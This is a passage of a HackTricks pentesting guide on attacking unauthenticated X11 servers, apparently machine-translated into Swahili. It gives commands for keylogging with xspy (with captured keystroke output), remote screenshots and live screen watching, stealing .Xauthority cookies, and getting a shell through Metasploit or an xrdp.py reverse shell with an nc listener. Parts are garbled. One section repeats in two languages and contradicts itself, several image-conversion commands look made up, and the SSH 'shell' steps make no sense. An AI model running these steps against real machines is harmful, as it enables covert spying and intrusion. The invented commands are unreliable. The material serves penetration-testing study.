hacktricks/network-services-pentesting/6000-pentesting-x11.md

291 lines
13 KiB
Markdown
Raw Normal View History

2024-02-11 02:13:58 +00:00
# 6000 - Kupima Usalama wa X11
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
Jiunge na seva ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Machapisho Kuhusu Kudukua**\
Shiriki na yaliyomo yanayojadili msisimko na changamoto za kudukua
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Habari za Kudukua za Wakati Halisi**\
Endelea kuwa na habari za ulimwengu wa kudukua kwa kasi kupitia habari na ufahamu wa wakati halisi
2023-07-14 15:03:41 +00:00
2024-02-11 02:13:58 +00:00
**Matangazo ya Hivi Karibuni**\
Baki na habari kuhusu uzinduzi wa tuzo za mdudu mpya na sasisho muhimu za jukwaa
2023-07-14 15:03:41 +00:00
2024-02-11 02:13:58 +00:00
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
2022-11-05 09:07:43 +00:00
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
2024-02-11 02:13:58 +00:00
**X Window System** (X) ni mfumo wa kubadilishana dirisha unaotumika sana kwenye mfumo wa uendeshaji wa UNIX. Inatoa mfumo wa kuunda **interfaces za mtumiaji za kielelezo cha picha (GUIs)**, na programu binafsi zinashughulikia muundo wa kiolesura cha mtumiaji. Uwezo huu huruhusu uzoefu tofauti na unaoweza kubadilishwa ndani ya mazingira ya X.
2024-02-11 02:13:58 +00:00
**Bandari ya chaguo-msingi:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
2024-02-11 02:13:58 +00:00
## Uchunguzi
2024-02-11 02:13:58 +00:00
Angalia kwa **unganisho lisilo na jina:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
2024-02-11 02:13:58 +00:00
#### Uchambuzi wa Ndani
2024-02-11 02:13:58 +00:00
Faili **`.Xauthority`** katika saraka ya nyumbani ya mtumiaji hutumiwa na **X11 kwa idhini**. Kutoka [**hapa**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
2024-02-11 02:13:58 +00:00
> MIT-magic-cookie-1: Kuzalisha funguo 128bit ("cookie"), kuhifadhi kwenye \~/.Xauthority (au mahali ambapo XAUTHORITY envvar inaelekeza). Mteja anaituma kwa serveri kwa njia ya wazi! serveri inachunguza ikiwa ina nakala ya "cookie" hii na ikiwa ndivyo, uhusiano unaruhusiwa. funguo hii inazalishwa na DMX.
{% hint style="warning" %}
2024-02-11 02:13:58 +00:00
Ili **kutumia cookie**, unapaswa kuweka env var: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
2024-02-11 02:13:58 +00:00
#### Kikao cha Uchunguzi wa Ndani
```bash
2024-02-11 02:13:58 +00:00
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
2024-02-11 02:13:58 +00:00
## Kuthibitisha Uunganisho
2024-02-11 02:13:58 +00:00
To verify the connection, you can use the `xeyes` command. This command will open a small window with a pair of eyes that follow the mouse cursor. If the eyes appear on the remote machine, it means the X11 forwarding is working correctly.
2024-02-11 02:13:58 +00:00
```bash
$ xeyes
```
If the eyes appear on the local machine, it means the X11 forwarding is not working. In this case, you should check your SSH configuration and make sure X11 forwarding is enabled.
## Kuthibitisha Uunganisho
Ili kuthibitisha uunganisho, unaweza kutumia amri ya `xeyes`. Amri hii itafungua dirisha dogo lenye jozi ya macho ambayo yatafuata kielekezo cha panya. Ikiwa macho yanaonekana kwenye kompyuta ya mbali, inamaanisha kuwa X11 forwarding inafanya kazi vizuri.
```bash
$ xeyes
```
Ikiwa macho yanaonekana kwenye kompyuta ya ndani, inamaanisha kuwa X11 forwarding haifanyi kazi. Katika kesi hii, unapaswa kuangalia usanidi wako wa SSH na kuhakikisha kuwa X11 forwarding imezimishwa.
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
2023-03-05 19:54:13 +00:00
## Keyloggin
2024-02-11 02:13:58 +00:00
[xspy](http://tools.kali.org/sniffingspoofing/xspy) kutumia kunasa tarakilishi za kibodi.
2024-02-11 02:13:58 +00:00
Matokeo ya mfano:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
2024-02-11 02:13:58 +00:00
## Kuchukua Picha za Skrini
Kuchukua picha za skrini ni mbinu muhimu katika uchunguzi wa usalama wa mtandao. Inaruhusu mtumiaji kukamata na kuhifadhi picha ya skrini ya kile kinachoonyeshwa kwenye skrini ya kompyuta au kifaa kingine chochote kinachotumia X11.
Kuna njia kadhaa za kufanya hivyo:
### Kutumia Xwd
2024-02-11 02:13:58 +00:00
Unaweza kutumia amri ya `xwd` ili kukamata picha ya skrini. Amri hii inachukua picha ya skrini na kuionyesha kwenye terminal. Unaweza kuihifadhi kwenye faili kwa kutumia redirection ya amri.
```bash
2024-02-11 02:13:58 +00:00
$ xwd -root -out screenshot.xwd
```
2024-02-11 02:13:58 +00:00
### Kutumia Xwdtopnm
2024-02-11 02:13:58 +00:00
Ili kubadilisha faili ya picha ya skrini iliyochukuliwa na `xwd` kuwa muundo wa PNM, unaweza kutumia amri ya `xwdtopnm`.
2024-02-11 02:13:58 +00:00
```bash
$ xwdtopnm screenshot.xwd > screenshot.pnm
```
2024-02-11 02:13:58 +00:00
### Kutumia Xwdtopixmap
Unaweza pia kutumia amri ya `xwdtopixmap` ili kubadilisha faili ya picha ya skrini iliyochukuliwa na `xwd` kuwa muundo wa pixmap.
```bash
$ xwdtopixmap screenshot.xwd > screenshot.ppm
```
2024-02-11 02:13:58 +00:00
### Kutumia Xwdtoppm
2024-02-11 02:13:58 +00:00
Ili kubadilisha faili ya picha ya skrini iliyochukuliwa na `xwd` kuwa muundo wa PPM, unaweza kutumia amri ya `xwdtoppm`.
2024-02-11 02:13:58 +00:00
```bash
$ xwdtoppm screenshot.xwd > screenshot.ppm
```
### Kutumia Xwdtopng
Ili kubadilisha faili ya picha ya skrini iliyochukuliwa na `xwd` kuwa muundo wa PNG, unaweza kutumia amri ya `xwdtopng`.
```bash
$ xwdtopng screenshot.xwd > screenshot.png
```
Kwa kutumia njia hizi, unaweza kukamata na kuhifadhi picha za skrini kwa ajili ya uchunguzi wa usalama wa mtandao.
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Tazama Kijijini cha Skrini
Njia kutoka: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Njia kutoka: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
Kwanza tunahitaji kupata kitambulisho cha dirisha kwa kutumia xwininfo
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
2024-02-11 02:13:58 +00:00
Kwa **kuangalia moja kwa moja**, tunahitaji kutumia
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2024-02-11 02:13:58 +00:00
## Pata Kifaa cha Udhibiti
Kifaa cha udhibiti (shell) ni kipengele muhimu katika uchunguzi wa usalama wa mtandao. Kwa kawaida, shell inaruhusu mtumiaji kuingia na kudhibiti mfumo wa kompyuta kwa njia ya mbali. Hapa kuna njia kadhaa za kupata kifaa cha udhibiti:
2024-02-11 02:13:58 +00:00
### 1. X11 Forwarding
2024-02-11 02:13:58 +00:00
X11 Forwarding ni njia ya kusaidia kuhamisha programu za GUI kutoka kwenye seva kwenda kwenye kifaa cha mteja. Unaweza kutumia X11 Forwarding kwa kufikia kifaa cha udhibiti kwa njia ya mbali. Hapa kuna hatua za kufuata:
1. Anza kwa kuanzisha uhusiano wa SSH na seva ya lengo: `ssh user@target -X`
2. Ingia kwenye kifaa cha lengo kwa kutumia amri ya `ssh`: `ssh user@target`
3. Tumia amri ya `xterm` au `xeyes` kuthibitisha kuwa X11 Forwarding imefanikiwa: `xterm` au `xeyes`
### 2. X11 Reverse Forwarding
X11 Reverse Forwarding ni njia inayofanana na X11 Forwarding, lakini inaruhusu kifaa cha mteja kuanzisha uhusiano wa X11 Forwarding na seva ya lengo. Hapa kuna hatua za kufuata:
1. Anza kwa kuanzisha uhusiano wa SSH na seva ya lengo: `ssh user@target -R 6000:localhost:6000`
2. Ingia kwenye kifaa cha lengo kwa kutumia amri ya `ssh`: `ssh user@target`
3. Tumia amri ya `export DISPLAY=localhost:0.0` kuanzisha mazingira ya X11 Forwarding
4. Tumia amri ya `xterm` au `xeyes` kuthibitisha kuwa X11 Reverse Forwarding imefanikiwa: `xterm` au `xeyes`
### 3. X11 Port Forwarding
X11 Port Forwarding inaruhusu kifaa cha mteja kusikiliza kwa uhusiano wa X11 Forwarding kutoka kwenye seva ya lengo. Hapa kuna hatua za kufuata:
1. Anza kwa kuanzisha uhusiano wa SSH na seva ya lengo: `ssh user@target -L 6000:localhost:6000`
2. Ingia kwenye kifaa cha lengo kwa kutumia amri ya `ssh`: `ssh user@target`
3. Tumia amri ya `export DISPLAY=localhost:0.0` kuanzisha mazingira ya X11 Forwarding
4. Tumia amri ya `xterm` au `xeyes` kuthibitisha kuwa X11 Port Forwarding imefanikiwa: `xterm` au `xeyes`
### 4. X11 Port Redirection
X11 Port Redirection inaruhusu kifaa cha mteja kuelekeza uhusiano wa X11 Forwarding kutoka kwenye seva ya lengo kwenda kwenye kifaa kingine. Hapa kuna hatua za kufuata:
1. Anza kwa kuanzisha uhusiano wa SSH na seva ya kati: `ssh user@middle -L 6000:target:6000`
2. Ingia kwenye kifaa cha lengo kwa kutumia amri ya `ssh`: `ssh user@target`
3. Tumia amri ya `export DISPLAY=middle:0.0` kuanzisha mazingira ya X11 Forwarding
4. Tumia amri ya `xterm` au `xeyes` kuthibitisha kuwa X11 Port Redirection imefanikiwa: `xterm` au `xeyes`
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
2024-02-11 02:13:58 +00:00
Njia nyingine:
2024-02-11 02:13:58 +00:00
**Reverse Shell:** Xrdp pia inaruhusu kuchukua reverse shell kupitia Netcat. Andika amri ifuatayo:
2024-02-08 21:36:35 +00:00
```bash
./xrdp.py \<IP:0> no-disp
```
2024-02-11 02:13:58 +00:00
Katika kiolesura unaweza kuona **chaguo la R-shell**.
2024-02-11 02:13:58 +00:00
Kisha, anzisha **msikilizaji wa Netcat** kwenye mfumo wako wa ndani kwenye bandari 5555.
2024-02-08 21:36:35 +00:00
```bash
nc -lvp 5555
```
2024-02-11 02:13:58 +00:00
Kisha, weka anwani yako ya IP na bandari katika chaguo la **R-Shell** na bonyeza **R-Shell** ili kupata kifaa cha kudhibiti.
2024-02-11 02:13:58 +00:00
## Marejeo
2024-02-08 21:36:35 +00:00
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
2020-09-24 20:01:29 +00:00
2023-03-05 19:54:13 +00:00
## Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
2023-12-04 15:45:05 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
2023-07-14 15:03:41 +00:00
2024-02-11 02:13:58 +00:00
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za udhaifu!
2022-11-05 09:07:43 +00:00
2024-02-11 02:13:58 +00:00
**Machapisho Kuhusu Udukuzi**\
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Habari za Udukuzi za Wakati Halisi**\
Endelea kuwa na habari za ulimwengu wa udukuzi kwa njia ya habari na ufahamu wa wakati halisi
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Matangazo ya Hivi Karibuni**\
Baki na habari kuhusu tuzo mpya za udhaifu zinazozinduliwa na sasisho muhimu za jukwaa
2023-02-27 09:28:45 +00:00
2024-02-11 02:13:58 +00:00
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-01-03 10:42:55 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>